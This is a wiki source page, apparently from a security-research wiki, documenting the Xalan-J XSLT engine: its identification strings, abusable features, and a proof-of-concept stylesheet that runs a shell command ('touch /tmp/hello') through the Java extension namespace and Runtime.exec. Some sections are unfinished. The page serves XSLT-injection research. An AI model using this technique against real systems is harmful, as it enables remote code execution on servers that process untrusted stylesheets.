Wiki source code of Engine_XalanJ

Version 32.1 by Nicolas Gregoire on 2012/01/11 22:48

Show last authors
1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
2
3
4 == Supported version ==
5
6 1.0
7
8 == Command line ==
9
10 $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
11
12 __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
13
14 == Identification strings ==
15
16 |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
17 |=xsl:vendor|Apache Software Foundation
18 |=xsl:version|1.0
19
20 == Special features ==
21
22 * File creation
23 * Code execution
24 * JDBC connectivity
25 * Java properties disclosure
26 * Java environment disclosure
27
28 == Java environment disclosure ==
29
30 The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]), associated to the Xalan namespace, will display some information about the execution context (packages, paths, versions, ...). The output of the execution of [[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]] is [[attached>>attach:xalanj-checkenv-output.txt]].
31
32 |=Namespace|=Extension function|=PoC|=Sample output
33 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|[[xalanj-java-date-output.txt>>attach:xalanj-java-date-output.txt]]\
34
35 XX
36
37 == Java code execution ==
38
39 The following code will display the current date :
40
41 TODO
42
43 == Execution of external commands ==
44
45 The following code will execute the command "touch /tmp/hello" :
46
47 <?xml version="1.0"?>
48 <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
49 xmlns:j="http:~/~/xml.apache.org/xalan/java"
50 exclude-result-prefixes="j"
51 version="1.0">
52 <xsl:template match="/">
53 <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
54 <xsl:variable name="a" select="j:split($c, ' = ')"/>
55 <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
56 <xsl:variable name="p" select="j:exec($r, $a )"/>
57 No content at the moment ...
58 </xsl:template>
59 </xsl:stylesheet>